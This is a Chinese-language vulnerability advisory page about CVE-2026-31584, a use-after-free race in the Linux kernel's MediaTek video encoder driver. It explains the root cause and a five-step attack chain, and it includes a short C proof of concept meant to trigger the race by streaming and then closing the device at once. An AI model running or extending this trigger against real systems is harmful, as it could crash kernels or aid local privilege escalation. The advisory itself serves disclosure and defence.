IPBUF安全漏洞报告
English
CVE-2026-31584 CVSS 7.8 高危

CVE-2026-31584: Linux内核MediaTek编码器释放后重用漏洞

披露日期: 2026-04-24
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-31584
漏洞类型
释放后重用
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUse-after-freeRace ConditionMediaTekPrivilege EscalationLocal

漏洞概述

Linux内核中的MediaTek视频编码器驱动存在释放后重用漏洞。在编码器释放路径中,`fops_vcodec_release`函数在释放上下文结构体时,未取消正在运行的工作队列,导致工作队列处理器可能在内存释放后继续访问该内存区域,从而引发竞态条件。

技术细节

该漏洞位于Linux内核的`media: mediatek: vcodec`驱动中。根本原因在于`fops_vcodec_release`函数仅调用`v4l2_m2m_ctx_release`等待M2M作业完成,随后便通过`kfree(ctx)`释放上下文内存。然而,`v4l2_m2m_ctx_release`只等待`TRANS_RUNNING`标志清除,并不保证工作队列处理函数`mtk_venc_worker`完全执行完毕。攻击者可利用此竞态窗口:在CPU 0执行释放流程并释放内存的同时,CPU 1上的工作队列处理器可能仍在访问`ctx->m2m_ctx`等字段。这种释放后重用(UAF)行为已被KASAN检测确认,可能导致内核崩溃或本地权限提升。

攻击链分析

STEP 1
步骤1:打开设备
攻击者本地打开受影响的MediaTek视频编码设备节点(如/dev/videoX),调用fops_vcodec_open分配上下文结构体ctx。
STEP 2
步骤2:触发编码任务
攻击者通过ioctl配置编码格式并调用VIDIOC_STREAMON,驱动内部调用queue_work调度编码工作队列mtk_venc_worker。
STEP 3
步骤3:竞态触发
在工作队列处理函数mtk_venc_worker正在运行且刚调用v4l2_m2m_job_finish后,攻击者立即关闭文件描述符,触发fops_vcodec_release。
STEP 4
步骤4:释放内存
fops_vcodec_release释放上下文内存(kfree(ctx)),但此时工作队列函数可能仍在执行并尝试访问ctx指针。
STEP 5
步骤5:利用漏洞
发生Use-After-Free,攻击者可能利用此竞态条件导致内核崩溃(DoS)或进一步实现代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-31584 * This code attempts to trigger the race condition between * the workqueue handler and the release path. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/videodev2.h> #include <stdio.h> #define DEVICE "/dev/videoX" // Replace with actual encoder device int main() { int fd, ret; struct v4l2_format fmt; fd = open(DEVICE, O_RDWR); if (fd < 0) { perror("open"); return 1; } // Initialize format to trigger encoder context setup memset(&fmt, 0, sizeof(fmt)); fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; fmt.fmt.pix_mp.width = 1280; fmt.fmt.pix_mp.height = 720; fmt.fmt.pix_mp.pixelformat = V4L2_PIX_FMT_H264; if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) { perror("VIDIOC_S_FMT"); close(fd); return 1; } // Request buffers and start streaming to queue the encode_work // This schedules mtk_venc_worker enum v4l2_buf_type type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE; if (ioctl(fd, VIDIOC_STREAMON, &type) < 0) { perror("VIDIOC_STREAMON"); // Continue to try to trigger release } // Immediately close the device to trigger fops_vcodec_release // This races with the pending mtk_venc_worker accessing ctx close(fd); printf("Triggered potential UAF race condition.\n"); return 0; }

影响范围

Linux Kernel (带有 media: mediatek: vcodec 驱动的版本)

防御指南

临时缓解措施
限制对视频编码设备节点的访问权限(仅允许可信用户访问),或及时更新内核以修复该竞态条件漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表